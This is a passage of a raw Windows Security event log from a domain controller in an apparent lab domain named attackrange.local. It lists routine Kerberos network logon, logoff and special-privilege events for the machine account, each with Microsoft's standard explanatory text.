	Logon ID:		0x816F0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249341
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81766

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249340
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x817E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249339
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8185A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249338
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x818D0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249337
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81946

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249336
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x819BC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249335
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81A32

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249334
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81AAA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249333
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81B22

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249332
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81B9A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249331
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81C12

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249330
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81C8A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249329
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81D02

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249328
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81D7A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249327
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81DF2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249326
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x85B99

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249325
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE16C2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249324
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE16C2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64213

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249323
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE16C2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249322
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1661

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249321
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1661
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64212

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249320
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1661

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249319
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE15FB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249318
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE15FB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64211

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249317
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE15FB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249316
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1596

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249315
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1596
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64210

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249314
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1596

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249358
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1887

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249357
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1887
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64217

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249356
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1887

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249355
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1826

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249354
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1826
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64216

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249353
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1826

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249352
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE17C0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249351
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE17C0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64215

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
